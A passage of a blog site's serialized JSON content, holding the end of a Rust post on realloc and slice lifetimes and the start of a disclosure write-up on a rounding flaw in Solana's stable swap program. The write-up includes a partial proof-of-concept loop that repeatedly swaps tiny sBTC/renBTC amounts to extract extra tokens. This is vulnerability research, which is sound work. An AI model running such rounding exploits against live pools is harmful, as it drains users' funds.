};\n",{"type":24,"tag":90,"props":4826,"children":4827},{"class":92,"line":272},[4828],{"type":24,"tag":90,"props":4829,"children":4830},{"emptyLinePlaceholder":16},[4831],{"type":29,"value":245},{"type":24,"tag":90,"props":4833,"children":4834},{"class":92,"line":281},[4835],{"type":24,"tag":90,"props":4836,"children":4837},{"style":252},[4838],{"type":29,"value":2650},{"type":24,"tag":90,"props":4840,"children":4841},{"class":92,"line":384},[4842,4846,4850,4854,4858,4863,4867,4871,4875,4880,4884,4888,4892,4896,4901,4905],{"type":24,"tag":90,"props":4843,"children":4844},{"style":120},[4845],{"type":29,"value":983},{"type":24,"tag":90,"props":4847,"children":4848},{"style":136},[4849],{"type":29,"value":1815},{"type":24,"tag":90,"props":4851,"children":4852},{"style":120},[4853],{"type":29,"value":216},{"type":24,"tag":90,"props":4855,"children":4856},{"style":97},[4857],{"type":29,"value":1077},{"type":24,"tag":90,"props":4859,"children":4860},{"style":114},[4861],{"type":29,"value":4862}," { std",{"type":24,"tag":90,"props":4864,"children":4865},{"style":120},[4866],{"type":29,"value":1211},{"type":24,"tag":90,"props":4868,"children":4869},{"style":114},[4870],{"type":29,"value":1815},{"type":24,"tag":90,"props":4872,"children":4873},{"style":120},[4874],{"type":29,"value":1211},{"type":24,"tag":90,"props":4876,"children":4877},{"style":108},[4878],{"type":29,"value":4879},"from_raw_parts_mut",{"type":24,"tag":90,"props":4881,"children":4882},{"style":114},[4883],{"type":29,"value":117},{"type":24,"tag":90,"props":4885,"children":4886},{"style":136},[4887],{"type":29,"value":1815},{"type":24,"tag":90,"props":4889,"children":4890},{"style":120},[4891],{"type":29,"value":226},{"type":24,"tag":90,"props":4893,"children":4894},{"style":108},[4895],{"type":29,"value":324},{"type":24,"tag":90,"props":4897,"children":4898},{"style":114},[4899],{"type":29,"value":4900},"(), ",{"type":24,"tag":90,"props":4902,"children":4903},{"style":136},[4904],{"type":29,"value":139},{"type":24,"tag":90,"props":4906,"children":4907},{"style":114},[4908],{"type":29,"value":1238},{"type":24,"tag":25,"props":4910,"children":4911},{},[4912,4914,4919,4921,4926,4928,4933,4935],{"type":29,"value":4913},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":32,"props":4915,"children":4917},{"className":4916},[],[4918],{"type":29,"value":1580},{"type":29,"value":4920}," and not a ",{"type":24,"tag":32,"props":4922,"children":4924},{"className":4923},[],[4925],{"type":29,"value":3119},{"type":29,"value":4927}," for the size field, given that ",{"type":24,"tag":32,"props":4929,"children":4931},{"className":4930},[],[4932],{"type":29,"value":3119},{"type":29,"value":4934}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":1978,"props":4936,"children":4937},{},[4938],{"type":24,"tag":69,"props":4939,"children":4943},{"href":4940,"ariaDescribedBy":4941,"dataFootnoteRef":7,"id":4942},"#user-content-fn-slice-unbound-lifetime",[1985],"user-content-fnref-slice-unbound-lifetime",[4944],{"type":29,"value":4945},"6",{"type":24,"tag":4947,"props":4948,"children":4951},"section",{"className":4949,"dataFootnotes":7},[4950],"footnotes",[4952,4959],{"type":24,"tag":850,"props":4953,"children":4956},{"className":4954,"id":1985},[4955],"sr-only",[4957],{"type":29,"value":4958},"Footnotes",{"type":24,"tag":3100,"props":4960,"children":4961},{},[4962,5067,5085,5140,5153,5181],{"type":24,"tag":3104,"props":4963,"children":4965},{"id":4964},"user-content-fn-rc-refs",[4966,4968,4974,4976,4981,4983,4987,4989,4993,4995,5000,5002,5008,5010,5015,5017,5027,5029,5034,5036,5041,5043,5048,5050,5056,5058],{"type":29,"value":4967},"I find it helpful to view owning an ",{"type":24,"tag":32,"props":4969,"children":4971},{"className":4970},[],[4972],{"type":29,"value":4973},"Rc\u003CT>",{"type":29,"value":4975}," as holding a shared reference to the underlying ",{"type":24,"tag":32,"props":4977,"children":4979},{"className":4978},[],[4980],{"type":29,"value":1960},{"type":29,"value":4982}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":842,"props":4984,"children":4985},{},[4986],{"type":29,"value":2970},{"type":29,"value":4988}," ensures that the actual ",{"type":24,"tag":842,"props":4990,"children":4991},{},[4992],{"type":29,"value":481},{"type":29,"value":4994}," stays alive, however all you have is a reference to the ",{"type":24,"tag":32,"props":4996,"children":4998},{"className":4997},[],[4999],{"type":29,"value":1960},{"type":29,"value":5001}," (through the ",{"type":24,"tag":32,"props":5003,"children":5005},{"className":5004},[],[5006],{"type":29,"value":5007},"Deref\u003CTarget = T>",{"type":29,"value":5009}," impl) - ",{"type":24,"tag":842,"props":5011,"children":5012},{},[5013],{"type":29,"value":5014},"not",{"type":29,"value":5016}," ownership ",{"type":24,"tag":842,"props":5018,"children":5019},{},[5020,5022],{"type":29,"value":5021},"of the ",{"type":24,"tag":32,"props":5023,"children":5025},{"className":5024},[],[5026],{"type":29,"value":1960},{"type":29,"value":5028},". In short, owning an ",{"type":24,"tag":32,"props":5030,"children":5032},{"className":5031},[],[5033],{"type":29,"value":4973},{"type":29,"value":5035}," is owning a (shared, read-only) reference to ",{"type":24,"tag":32,"props":5037,"children":5039},{"className":5038},[],[5040],{"type":29,"value":1960},{"type":29,"value":5042},", not owning ",{"type":24,"tag":32,"props":5044,"children":5046},{"className":5045},[],[5047],{"type":29,"value":1960},{"type":29,"value":5049}," directly like with ",{"type":24,"tag":32,"props":5051,"children":5053},{"className":5052},[],[5054],{"type":29,"value":5055},"Box\u003CT>",{"type":29,"value":5057},". ",{"type":24,"tag":69,"props":5059,"children":5064},{"href":5060,"ariaLabel":5061,"className":5062,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[5063],"data-footnote-backref",[5065],{"type":29,"value":5066},"↩",{"type":24,"tag":3104,"props":5068,"children":5070},{"id":5069},"user-content-fn-sendsync",[5071,5077,5078],{"type":24,"tag":32,"props":5072,"children":5074},{"className":5073},[],[5075],{"type":29,"value":5076},"!Send + !Sync",{"type":29,"value":2877},{"type":24,"tag":69,"props":5079,"children":5083},{"href":5080,"ariaLabel":5081,"className":5082,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[5063],[5084],{"type":29,"value":5066},{"type":24,"tag":3104,"props":5086,"children":5088},{"id":5087},"user-content-fn-layout",[5089,5091,5096,5097,5110,5112,5117,5119,5124,5126,5131,5133],{"type":29,"value":5090},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":32,"props":5092,"children":5094},{"className":5093},[],[5095],{"type":29,"value":1434},{"type":29,"value":67},{"type":24,"tag":69,"props":5098,"children":5101},{"href":5099,"rel":5100},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[73],[5102,5104],{"type":29,"value":5103},"not declared with ",{"type":24,"tag":32,"props":5105,"children":5107},{"className":5106},[],[5108],{"type":29,"value":5109},"#[repr(C)]",{"type":29,"value":5111},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":842,"props":5113,"children":5114},{},[5115],{"type":29,"value":5116},"breaks the entire chain",{"type":29,"value":5118}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":842,"props":5120,"children":5121},{},[5122],{"type":29,"value":5123},"some",{"type":29,"value":5125}," kind of interface to the specific layout of the specific ",{"type":24,"tag":32,"props":5127,"children":5129},{"className":5128},[],[5130],{"type":29,"value":3023},{"type":29,"value":5132}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":69,"props":5134,"children":5138},{"href":5135,"ariaLabel":5136,"className":5137,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[5063],[5139],{"type":29,"value":5066},{"type":24,"tag":3104,"props":5141,"children":5143},{"id":5142},"user-content-fn-rustc-llvm",[5144,5146],{"type":29,"value":5145},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":69,"props":5147,"children":5151},{"href":5148,"ariaLabel":5149,"className":5150,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[5063],[5152],{"type":29,"value":5066},{"type":24,"tag":3104,"props":5154,"children":5156},{"id":5155},"user-content-fn-godbolt",[5157,5164,5166,5172,5174],{"type":24,"tag":69,"props":5158,"children":5161},{"href":5159,"rel":5160},"https://godbolt.org/z/PK46xMbxc",[73],[5162],{"type":29,"value":5163},"Click here",{"type":29,"value":5165}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":32,"props":5167,"children":5169},{"className":5168},[],[5170],{"type":29,"value":5171},"libcore",{"type":29,"value":5173}," available for other architectures yet. ",{"type":24,"tag":69,"props":5175,"children":5179},{"href":5176,"ariaLabel":5177,"className":5178,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[5063],[5180],{"type":29,"value":5066},{"type":24,"tag":3104,"props":5182,"children":5184},{"id":5183},"user-content-fn-slice-unbound-lifetime",[5185,5187,5192,5194,5200,5202,5208,5210,5216,5218,5224,5226,5232,5234,5239,5241],{"type":29,"value":5186},"The astute reader may have noticed that ",{"type":24,"tag":32,"props":5188,"children":5190},{"className":5189},[],[5191],{"type":29,"value":4879},{"type":29,"value":5193}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":32,"props":5195,"children":5197},{"className":5196},[],[5198],{"type":29,"value":5199},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":5201},", the lifetime parameter ",{"type":24,"tag":32,"props":5203,"children":5205},{"className":5204},[],[5206],{"type":29,"value":5207},"'a",{"type":29,"value":5209}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":32,"props":5211,"children":5213},{"className":5212},[],[5214],{"type":29,"value":5215},"*slice",{"type":29,"value":5217},", which is ",{"type":24,"tag":32,"props":5219,"children":5221},{"className":5220},[],[5222],{"type":29,"value":5223},"&'info [u8]",{"type":29,"value":5225}," (where ",{"type":24,"tag":32,"props":5227,"children":5229},{"className":5228},[],[5230],{"type":29,"value":5231},"'info",{"type":29,"value":5233}," is the lifetime parameter of the ",{"type":24,"tag":32,"props":5235,"children":5237},{"className":5236},[],[5238],{"type":29,"value":1434},{"type":29,"value":5240}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":69,"props":5242,"children":5246},{"href":5243,"ariaLabel":5244,"className":5245,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[5063],[5247],{"type":29,"value":5066},{"type":24,"tag":5249,"props":5250,"children":5251},"style",{},[5252],{"type":29,"value":5253},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":200,"depth":200,"links":5255},[5256,5262,5266,5267,5269],{"id":852,"depth":200,"text":5257,"children":5258},"Breaking down realloc",[5259,5260],{"id":1021,"depth":239,"text":1024},{"id":2402,"depth":239,"text":5261},"Back to realloc",{"id":3364,"depth":200,"text":3367,"children":5263},[5264,5265],{"id":3370,"depth":239,"text":3373},{"id":3592,"depth":239,"text":3595},{"id":3779,"depth":200,"text":3782},{"id":4182,"depth":200,"text":5268},"Towards safer unsafe",{"id":1985,"depth":200,"text":4958},"markdown","content:blog:2022-12-09-rust-realloc-and-references.md","content","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references","md",[5277,7766,8102,11634,15981,20538,30813,32245,33008,37237,42264,47696,48853,52344,62739,69468,71307,73017,77682,91581,94302,99091,101531,103876,109662,125482,133782,143706,148984,158377,160714],{"_path":5278,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5279,"description":5280,"image":5281,"date":5285,"isFeatured":16,"tags":5286,"onBlogPage":16,"body":5288,"_type":5270,"_id":7763,"_source":5272,"_file":7764,"_stem":7765,"_extension":5275},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":5282,"width":5283,"height":5284},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[5287,18],"solana",{"type":21,"children":5289,"toc":7757},[5290,5304,5309,5314,5322,5328,5333,5338,5347,5355,5360,5365,5373,5378,5383,5748,5758,5763,6284,6289,6297,6305,6311,6316,6321,6326,6333,6345,6350,6362,6600,6605,6610,6616,6621,6626,6672,6677,6685,6690,6695,6700,6844,6857,6972,6986,6994,7008,7016,7029,7034,7046,7054,7076,7694,7700,7705,7718,7731,7738,7743,7748,7753],{"type":24,"tag":25,"props":5291,"children":5292},{},[5293,5295,5302],{"type":29,"value":5294},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":69,"props":5296,"children":5299},{"href":5297,"rel":5298},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[73],[5300],{"type":29,"value":5301},"spl-token-swap",{"type":29,"value":5303},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":5305,"children":5306},{},[5307],{"type":29,"value":5308},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":5310,"children":5311},{},[5312],{"type":29,"value":5313},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":5315,"children":5316},{},[5317],{"type":24,"tag":842,"props":5318,"children":5319},{},[5320],{"type":29,"value":5321},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":850,"props":5323,"children":5325},{"id":5324},"discovery",[5326],{"type":29,"value":5327},"Discovery",{"type":24,"tag":25,"props":5329,"children":5330},{},[5331],{"type":29,"value":5332},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":5334,"children":5335},{},[5336],{"type":29,"value":5337},"After a while, he noticed something weird..",{"type":24,"tag":5339,"props":5340,"children":5341},"blockquote",{},[5342],{"type":24,"tag":25,"props":5343,"children":5344},{},[5345],{"type":29,"value":5346},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":80,"props":5348,"children":5350},{"code":5349},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[5351],{"type":24,"tag":32,"props":5352,"children":5353},{"__ignoreMap":7},[5354],{"type":29,"value":5349},{"type":24,"tag":25,"props":5356,"children":5357},{},[5358],{"type":29,"value":5359},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":5361,"children":5362},{},[5363],{"type":29,"value":5364},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":80,"props":5366,"children":5368},{"code":5367},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[5369],{"type":24,"tag":32,"props":5370,"children":5371},{"__ignoreMap":7},[5372],{"type":29,"value":5367},{"type":24,"tag":25,"props":5374,"children":5375},{},[5376],{"type":29,"value":5377},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":5379,"children":5380},{},[5381],{"type":29,"value":5382},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":80,"props":5384,"children":5386},{"code":5385,"language":84,"meta":7,"className":82,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n",[5387],{"type":24,"tag":32,"props":5388,"children":5389},{"__ignoreMap":7},[5390,5398,5427,5458,5555,5660,5685,5697,5713,5733,5741],{"type":24,"tag":90,"props":5391,"children":5392},{"class":92,"line":93},[5393],{"type":24,"tag":90,"props":5394,"children":5395},{"style":252},[5396],{"type":29,"value":5397}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":90,"props":5399,"children":5400},{"class":92,"line":200},[5401,5405,5409,5414,5418,5423],{"type":24,"tag":90,"props":5402,"children":5403},{"style":97},[5404],{"type":29,"value":206},{"type":24,"tag":90,"props":5406,"children":5407},{"style":97},[5408],{"type":29,"value":4653},{"type":24,"tag":90,"props":5410,"children":5411},{"style":136},[5412],{"type":29,"value":5413}," y",{"type":24,"tag":90,"props":5415,"children":5416},{"style":120},[5417],{"type":29,"value":216},{"type":24,"tag":90,"props":5419,"children":5420},{"style":136},[5421],{"type":29,"value":5422}," d_val",{"type":24,"tag":90,"props":5424,"children":5425},{"style":114},[5426],{"type":29,"value":381},{"type":24,"tag":90,"props":5428,"children":5429},{"class":92,"line":239},[5430,5435,5439,5444,5449,5453],{"type":24,"tag":90,"props":5431,"children":5432},{"style":636},[5433],{"type":29,"value":5434}," for",{"type":24,"tag":90,"props":5436,"children":5437},{"style":136},[5438],{"type":29,"value":3990},{"type":24,"tag":90,"props":5440,"children":5441},{"style":97},[5442],{"type":29,"value":5443}," in",{"type":24,"tag":90,"props":5445,"children":5446},{"style":349},[5447],{"type":29,"value":5448}," 0",{"type":24,"tag":90,"props":5450,"children":5451},{"style":120},[5452],{"type":29,"value":729},{"type":24,"tag":90,"props":5454,"children":5455},{"style":114},[5456],{"type":29,"value":5457},"ITERATIONS {\n",{"type":24,"tag":90,"props":5459,"children":5460},{"class":92,"line":248},[5461,5465,5469,5474,5478,5483,5487,5492,5496,5501,5505,5509,5514,5518,5522,5526,5530,5535,5539,5543,5547,5551],{"type":24,"tag":90,"props":5462,"children":5463},{"style":97},[5464],{"type":29,"value":287},{"type":24,"tag":90,"props":5466,"children":5467},{"style":114},[5468],{"type":29,"value":1151},{"type":24,"tag":90,"props":5470,"children":5471},{"style":136},[5472],{"type":29,"value":5473},"y_new",{"type":24,"tag":90,"props":5475,"children":5476},{"style":114},[5477],{"type":29,"value":133},{"type":24,"tag":90,"props":5479,"children":5480},{"style":136},[5481],{"type":29,"value":5482},"_",{"type":24,"tag":90,"props":5484,"children":5485},{"style":114},[5486],{"type":29,"value":172},{"type":24,"tag":90,"props":5488,"children":5489},{"style":120},[5490],{"type":29,"value":5491},"=",{"type":24,"tag":90,"props":5493,"children":5494},{"style":114},[5495],{"type":29,"value":1151},{"type":24,"tag":90,"props":5497,"children":5498},{"style":108},[5499],{"type":29,"value":5500},"checked_u8_power",{"type":24,"tag":90,"props":5502,"children":5503},{"style":114},[5504],{"type":29,"value":117},{"type":24,"tag":90,"props":5506,"children":5507},{"style":120},[5508],{"type":29,"value":123},{"type":24,"tag":90,"props":5510,"children":5511},{"style":136},[5512],{"type":29,"value":5513},"y",{"type":24,"tag":90,"props":5515,"children":5516},{"style":114},[5517],{"type":29,"value":133},{"type":24,"tag":90,"props":5519,"children":5520},{"style":349},[5521],{"type":29,"value":3191},{"type":24,"tag":90,"props":5523,"children":5524},{"style":114},[5525],{"type":29,"value":517},{"type":24,"tag":90,"props":5527,"children":5528},{"style":120},[5529],{"type":29,"value":319},{"type":24,"tag":90,"props":5531,"children":5532},{"style":108},[5533],{"type":29,"value":5534},"checked_add",{"type":24,"tag":90,"props":5536,"children":5537},{"style":114},[5538],{"type":29,"value":117},{"type":24,"tag":90,"props":5540,"children":5541},{"style":136},[5542],{"type":29,"value":3030},{"type":24,"tag":90,"props":5544,"children":5545},{"style":114},[5546],{"type":29,"value":517},{"type":24,"tag":90,"props":5548,"children":5549},{"style":120},[5550],{"type":29,"value":714},{"type":24,"tag":90,"props":5552,"children":5553},{"style":114},[5554],{"type":29,"value":1686},{"type":24,"tag":90,"props":5556,"children":5557},{"class":92,"line":258},[5558,5563,5568,5572,5577,5581,5585,5589,5593,5597,5601,5605,5609,5613,5618,5622,5626,5631,5635,5640,5644,5648,5652,5656],{"type":24,"tag":90,"props":5559,"children":5560},{"style":120},[5561],{"type":29,"value":5562}," .",{"type":24,"tag":90,"props":5564,"children":5565},{"style":108},[5566],{"type":29,"value":5567},"checked_ceil_div",{"type":24,"tag":90,"props":5569,"children":5570},{"style":114},[5571],{"type":29,"value":117},{"type":24,"tag":90,"props":5573,"children":5574},{"style":108},[5575],{"type":29,"value":5576},"checked_u8_mul",{"type":24,"tag":90,"props":5578,"children":5579},{"style":114},[5580],{"type":29,"value":117},{"type":24,"tag":90,"props":5582,"children":5583},{"style":120},[5584],{"type":29,"value":123},{"type":24,"tag":90,"props":5586,"children":5587},{"style":136},[5588],{"type":29,"value":5513},{"type":24,"tag":90,"props":5590,"children":5591},{"style":114},[5592],{"type":29,"value":133},{"type":24,"tag":90,"props":5594,"children":5595},{"style":349},[5596],{"type":29,"value":3191},{"type":24,"tag":90,"props":5598,"children":5599},{"style":114},[5600],{"type":29,"value":517},{"type":24,"tag":90,"props":5602,"children":5603},{"style":120},[5604],{"type":29,"value":319},{"type":24,"tag":90,"props":5606,"children":5607},{"style":108},[5608],{"type":29,"value":5534},{"type":24,"tag":90,"props":5610,"children":5611},{"style":114},[5612],{"type":29,"value":117},{"type":24,"tag":90,"props":5614,"children":5615},{"style":136},[5616],{"type":29,"value":5617},"b",{"type":24,"tag":90,"props":5619,"children":5620},{"style":114},[5621],{"type":29,"value":517},{"type":24,"tag":90,"props":5623,"children":5624},{"style":120},[5625],{"type":29,"value":319},{"type":24,"tag":90,"props":5627,"children":5628},{"style":108},[5629],{"type":29,"value":5630},"checked_sub",{"type":24,"tag":90,"props":5632,"children":5633},{"style":114},[5634],{"type":29,"value":117},{"type":24,"tag":90,"props":5636,"children":5637},{"style":136},[5638],{"type":29,"value":5639},"d_val",{"type":24,"tag":90,"props":5641,"children":5642},{"style":114},[5643],{"type":29,"value":517},{"type":24,"tag":90,"props":5645,"children":5646},{"style":120},[5647],{"type":29,"value":714},{"type":24,"tag":90,"props":5649,"children":5650},{"style":114},[5651],{"type":29,"value":517},{"type":24,"tag":90,"props":5653,"children":5654},{"style":120},[5655],{"type":29,"value":714},{"type":24,"tag":90,"props":5657,"children":5658},{"style":114},[5659],{"type":29,"value":381},{"type":24,"tag":90,"props":5661,"children":5662},{"class":92,"line":272},[5663,5668,5673,5677,5681],{"type":24,"tag":90,"props":5664,"children":5665},{"style":636},[5666],{"type":29,"value":5667}," if",{"type":24,"tag":90,"props":5669,"children":5670},{"style":136},[5671],{"type":29,"value":5672}," y_new",{"type":24,"tag":90,"props":5674,"children":5675},{"style":120},[5676],{"type":29,"value":2102},{"type":24,"tag":90,"props":5678,"children":5679},{"style":136},[5680],{"type":29,"value":5413},{"type":24,"tag":90,"props":5682,"children":5683},{"style":114},[5684],{"type":29,"value":269},{"type":24,"tag":90,"props":5686,"children":5687},{"class":92,"line":281},[5688,5693],{"type":24,"tag":90,"props":5689,"children":5690},{"style":636},[5691],{"type":29,"value":5692}," break",{"type":24,"tag":90,"props":5694,"children":5695},{"style":114},[5696],{"type":29,"value":381},{"type":24,"tag":90,"props":5698,"children":5699},{"class":92,"line":384},[5700,5705,5709],{"type":24,"tag":90,"props":5701,"children":5702},{"style":114},[5703],{"type":29,"value":5704}," } ",{"type":24,"tag":90,"props":5706,"children":5707},{"style":636},[5708],{"type":29,"value":2293},{"type":24,"tag":90,"props":5710,"children":5711},{"style":114},[5712],{"type":29,"value":269},{"type":24,"tag":90,"props":5714,"children":5715},{"class":92,"line":420},[5716,5721,5725,5729],{"type":24,"tag":90,"props":5717,"children":5718},{"style":136},[5719],{"type":29,"value":5720}," y",{"type":24,"tag":90,"props":5722,"children":5723},{"style":120},[5724],{"type":29,"value":216},{"type":24,"tag":90,"props":5726,"children":5727},{"style":136},[5728],{"type":29,"value":5672},{"type":24,"tag":90,"props":5730,"children":5731},{"style":114},[5732],{"type":29,"value":381},{"type":24,"tag":90,"props":5734,"children":5735},{"class":92,"line":428},[5736],{"type":24,"tag":90,"props":5737,"children":5738},{"style":114},[5739],{"type":29,"value":5740}," }\n",{"type":24,"tag":90,"props":5742,"children":5743},{"class":92,"line":437},[5744],{"type":24,"tag":90,"props":5745,"children":5746},{"style":114},[5747],{"type":29,"value":612},{"type":24,"tag":25,"props":5749,"children":5750},{},[5751,5756],{"type":24,"tag":842,"props":5752,"children":5753},{},[5754],{"type":29,"value":5755},"approximate",{"type":29,"value":5757},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":5759,"children":5760},{},[5761],{"type":29,"value":5762},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":80,"props":5764,"children":5766},{"code":5765,"language":84,"meta":7,"className":82,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[5767],{"type":24,"tag":32,"props":5768,"children":5769},{"__ignoreMap":7},[5770,5778,5817,5825,5854,5880,5896,5912,5937,5953,5969,5985,6001,6017,6029,6037,6058,6065,6073,6138,6145,6174,6181,6210,6217,6276],{"type":24,"tag":90,"props":5771,"children":5772},{"class":92,"line":93},[5773],{"type":24,"tag":90,"props":5774,"children":5775},{"style":252},[5776],{"type":29,"value":5777},"// from sbtc to renbtc\n",{"type":24,"tag":90,"props":5779,"children":5780},{"class":92,"line":200},[5781,5786,5791,5795,5799,5804,5809,5813],{"type":24,"tag":90,"props":5782,"children":5783},{"style":636},[5784],{"type":29,"value":5785},"for",{"type":24,"tag":90,"props":5787,"children":5788},{"style":136},[5789],{"type":29,"value":5790}," i",{"type":24,"tag":90,"props":5792,"children":5793},{"style":97},[5794],{"type":29,"value":5443},{"type":24,"tag":90,"props":5796,"children":5797},{"style":349},[5798],{"type":29,"value":5448},{"type":24,"tag":90,"props":5800,"children":5801},{"style":120},[5802],{"type":29,"value":5803}," ..",{"type":24,"tag":90,"props":5805,"children":5806},{"style":349},[5807],{"type":29,"value":5808}," 50",{"type":24,"tag":90,"props":5810,"children":5811},{"style":146},[5812],{"type":29,"value":1409},{"type":24,"tag":90,"props":5814,"children":5815},{"style":114},[5816],{"type":29,"value":269},{"type":24,"tag":90,"props":5818,"children":5819},{"class":92,"line":239},[5820],{"type":24,"tag":90,"props":5821,"children":5822},{"style":252},[5823],{"type":29,"value":5824}," // create swap transaction\n",{"type":24,"tag":90,"props":5826,"children":5827},{"class":92,"line":248},[5828,5832,5836,5841,5845,5850],{"type":24,"tag":90,"props":5829,"children":5830},{"style":97},[5831],{"type":29,"value":206},{"type":24,"tag":90,"props":5833,"children":5834},{"style":97},[5835],{"type":29,"value":4653},{"type":24,"tag":90,"props":5837,"children":5838},{"style":136},[5839],{"type":29,"value":5840}," swap_instruction",{"type":24,"tag":90,"props":5842,"children":5843},{"style":120},[5844],{"type":29,"value":216},{"type":24,"tag":90,"props":5846,"children":5847},{"style":108},[5848],{"type":29,"value":5849}," swap",{"type":24,"tag":90,"props":5851,"children":5852},{"style":114},[5853],{"type":29,"value":680},{"type":24,"tag":90,"props":5855,"children":5856},{"class":92,"line":258},[5857,5862,5867,5871,5876],{"type":24,"tag":90,"props":5858,"children":5859},{"style":120},[5860],{"type":29,"value":5861}," &",{"type":24,"tag":90,"props":5863,"children":5864},{"style":114},[5865],{"type":29,"value":5866},"spl_token",{"type":24,"tag":90,"props":5868,"children":5869},{"style":120},[5870],{"type":29,"value":1211},{"type":24,"tag":90,"props":5872,"children":5873},{"style":108},[5874],{"type":29,"value":5875},"id",{"type":24,"tag":90,"props":5877,"children":5878},{"style":114},[5879],{"type":29,"value":1384},{"type":24,"tag":90,"props":5881,"children":5882},{"class":92,"line":272},[5883,5887,5892],{"type":24,"tag":90,"props":5884,"children":5885},{"style":120},[5886],{"type":29,"value":5861},{"type":24,"tag":90,"props":5888,"children":5889},{"style":136},[5890],{"type":29,"value":5891},"swap_pubkey",{"type":24,"tag":90,"props":5893,"children":5894},{"style":114},[5895],{"type":29,"value":748},{"type":24,"tag":90,"props":5897,"children":5898},{"class":92,"line":281},[5899,5903,5908],{"type":24,"tag":90,"props":5900,"children":5901},{"style":120},[5902],{"type":29,"value":5861},{"type":24,"tag":90,"props":5904,"children":5905},{"style":136},[5906],{"type":29,"value":5907},"swap_authority_pubkey",{"type":24,